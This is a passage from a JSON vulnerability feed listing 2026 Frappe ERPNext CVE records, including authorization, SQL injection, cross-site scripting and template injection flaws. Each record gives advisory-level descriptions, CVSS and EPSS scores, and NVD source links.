inventory records. Authenticated users can send requests to these endpoints to modify inventory data beyond what their assigned role permits.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:34.043Z","updatedAt":"2026-10-15T15:17:27.623Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109666","asOf":"2026-10-15T15:17:27.623Z"},"epss":{"probability":0.00221,"percentile":0.12503,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109666&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109666","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109666","type":"primary","publishedAt":"2026-10-12T23:17:34.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109666&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109666, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109663","cveId":"CVE-2026-109663","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.113.0 and 16.x before 16.22.0 contains an SQL injection vulnerability caused by missing input validation in some endpoints.","summary":"Frappe ERPNext before 15.113.0 and 16.x before 16.22.0 contains an SQL injection vulnerability caused by missing input validation in some endpoints. Authenticated remote attackers can send specially crafted requests to these endpoints to manipulate database queries and extract sensitive information from the database.","detail":"Frappe ERPNext before 15.113.0 and 16.x before 16.22.0 contains an SQL injection vulnerability caused by missing input validation in some endpoints. Authenticated remote attackers can send specially crafted requests to these endpoints to manipulate database queries and extract sensitive information from the database.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:33.550Z","updatedAt":"2026-10-13T17:17:31.240Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109663","asOf":"2026-10-13T17:17:31.240Z"},"epss":{"probability":0.00336,"percentile":0.26796,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109663&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109663","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109663","type":"primary","publishedAt":"2026-10-12T23:17:33.550Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109663&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109663, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109661","cveId":"CVE-2026-109661","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.116.0 and 16.x before 16.27.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks,...","summary":"Frappe ERPNext before 15.116.0 and 16.x before 16.27.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks, exposing financial data. Authenticated attackers with low-privileged accounts can query these endpoints to read financial data beyond their permitted role.","detail":"Frappe ERPNext before 15.116.0 and 16.x before 16.27.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks, exposing financial data. Authenticated attackers with low-privileged accounts can query these endpoints to read financial data beyond their permitted role.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:33.213Z","updatedAt":"2026-10-15T15:17:27.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109661","asOf":"2026-10-15T15:17:27.497Z"},"epss":{"probability":0.00258,"percentile":0.17244,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109661&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109661","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109661","type":"primary","publishedAt":"2026-10-12T23:17:33.213Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109661&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109661, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109660","cveId":"CVE-2026-109660","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.112.0 and 16.x before 16.23.0 has certain endpoints that do not enforce proper authorization checks on operations that modify production records.","summary":"Frappe ERPNext before 15.112.0 and 16.x before 16.23.0 has certain endpoints that do not enforce proper authorization checks on operations that modify production records. An authenticated low-privileged user can send requests to these endpoints to modify production data beyond what their assigned role permits.","detail":"Frappe ERPNext before 15.112.0 and 16.x before 16.23.0 has certain endpoints that do not enforce proper authorization checks on operations that modify production records. An authenticated low-privileged user can send requests to these endpoints to modify production data beyond what their assigned role permits.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:33.047Z","updatedAt":"2026-10-18T13:16:34.943Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109660","asOf":"2026-10-18T13:16:34.943Z"},"epss":{"probability":0.00221,"percentile":0.12502,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109660&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109660","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109660","type":"primary","publishedAt":"2026-10-12T23:17:33.047Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109660&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109660, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109659","cveId":"CVE-2026-109659","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.113.0 and 16.x before 16.24.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper permission checks.","summary":"Frappe ERPNext before 15.113.0 and 16.x before 16.24.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper permission checks. Authenticated users can call these endpoints to read financial data beyond what their assigned role permits.","detail":"Frappe ERPNext before 15.113.0 and 16.x before 16.24.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper permission checks. Authenticated users can call these endpoints to read financial data beyond what their assigned role permits.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:32.877Z","updatedAt":"2026-10-13T14:17:30.240Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109659","asOf":"2026-10-13T14:17:30.240Z"},"epss":{"probability":0.00258,"percentile":0.17244,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109659&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109659","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109659","type":"primary","publishedAt":"2026-10-12T23:17:32.877Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109659&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109659, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109658","cveId":"CVE-2026-109658","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.115.0 and 16.x before 16.26.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks.","summary":"Frappe ERPNext before 15.115.0 and 16.x before 16.26.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks. Authenticated users can call these endpoints to read data, including personal data, beyond what their assigned role permits.","detail":"Frappe ERPNext before 15.115.0 and 16.x before 16.26.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks. Authenticated users can call these endpoints to read data, including personal data, beyond what their assigned role permits.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:32.710Z","updatedAt":"2026-10-13T17:17:31.120Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109658","asOf":"2026-10-13T17:17:31.120Z"},"epss":{"probability":0.00258,"percentile":0.17244,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109658&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109658","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109658","type":"primary","publishedAt":"2026-10-12T23:17:32.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109658&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109658, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109656","cveId":"CVE-2026-109656","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.118.2 and 16.x before 16.30.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks on...","summary":"Frappe ERPNext before 15.118.2 and 16.x before 16.30.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks on item master data. Authenticated attackers with low-privileged accounts can call these endpoints to read item master data beyond their permitted role.","detail":"Frappe ERPNext before 15.118.2 and 16.x before 16.30.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks on item master data. Authenticated attackers with low-privileged accounts can call these endpoints to read item master data beyond their permitted role.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:32.387Z","updatedAt":"2026-10-15T15:17:27.370Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109656","asOf":"2026-10-15T15:17:27.370Z"},"epss":{"probability":0.00258,"percentile":0.17245,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109656&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109656","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109656","type":"primary","publishedAt":"2026-10-12T23:17:32.387Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109656&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109656, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109655","cveId":"CVE-2026-109655","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.115.0 and 16.x before 16.26.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper role-based authorization...","summary":"Frappe ERPNext before 15.115.0 and 16.x before 16.26.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper role-based authorization checks. Authenticated low-privileged users can send requests to these endpoints to modify inventory records beyond their permitted role.","detail":"Frappe ERPNext before 15.115.0 and 16.x before 16.26.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper role-based authorization checks. Authenticated low-privileged users can send requests to these endpoints to modify inventory records beyond their permitted role.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:32.220Z","updatedAt":"2026-10-18T13:16:34.817Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109655","asOf":"2026-10-18T13:16:34.817Z"},"epss":{"probability":0.00221,"percentile":0.12503,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109655&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109655","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109655","type":"primary","publishedAt":"2026-10-12T23:17:32.220Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109655&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109655, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109653","cveId":"CVE-2026-109653","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.119.0 and 16.x before 16.31.0 contains a stored cross-site scripting vulnerability because record fields are rendered into an HTML attribute context...","summary":"Frappe ERPNext before 15.119.0 and 16.x before 16.31.0 contains a stored cross-site scripting vulnerability because record fields are rendered into an HTML attribute context without escaping. A low-privilege user can store a malicious payload in a record field that executes in the browser of any privileged user who opens the affected page, enabling account takeover.","detail":"Frappe ERPNext before 15.119.0 and 16.x before 16.31.0 contains a stored cross-site scripting vulnerability because record fields are rendered into an HTML attribute context without escaping. A low-privilege user can store a malicious payload in a record field that executes in the browser of any privileged user who opens the affected page, enabling account takeover.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:31.890Z","updatedAt":"2026-10-13T17:17:31.010Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109653","asOf":"2026-10-13T17:17:31.010Z"},"epss":{"probability":0.00207,"percentile":0.10673,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109653&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109653","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109653","type":"primary","publishedAt":"2026-10-12T23:17:31.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109653&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109653, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109652","cveId":"CVE-2026-109652","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a server-side template injection vulnerability because user-controlled message fields are not validated before...","summary":"Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a server-side template injection vulnerability because user-controlled message fields are not validated before template rendering, allowing expressions to run in an unrestricted context. Authenticated attackers holding a common operational role can inject template expressions to read and write arbitrary database data, delete documents, send outbound requests from the server, and send mail from the site.","detail":"Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a server-side template injection vulnerability because user-controlled message fields are not validated before template rendering, allowing expressions to run in an unrestricted context. Authenticated attackers holding a common operational role can inject template expressions to read and write arbitrary database data, delete documents, send outbound requests from the server, and send mail from the site.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:31.723Z","updatedAt":"2026-10-14T13:17:27.313Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109652","asOf":"2026-10-14T13:17:27.313Z"},"epss":{"probability":0.00305,"percentile":0.23066,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109652&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109652","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109652","type":"primary","publishedAt":"2026-10-12T23:17:31.723Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109652&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109652, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109650","cveId":"CVE-2026-109650","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.112.0 and 16.x before 16.23.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks.","summary":"Frappe ERPNext before 15.112.0 and 16.x before 16.23.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks. Authenticated low-privileged users can send requests to these endpoints to read personal data beyond what their assigned role permits.","detail":"Frappe ERPNext before 15.112.0 and 16.x before 16.23.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks. Authenticated low-privileged users can send requests to these endpoints to read personal data beyond what their assigned role permits.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:31.390Z","updatedAt":"2026-10-18T13:16:34.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109650","asOf":"2026-10-18T13:16:34.700Z"},"epss":{"probability":0.00258,"percentile":0.17245,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109650&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 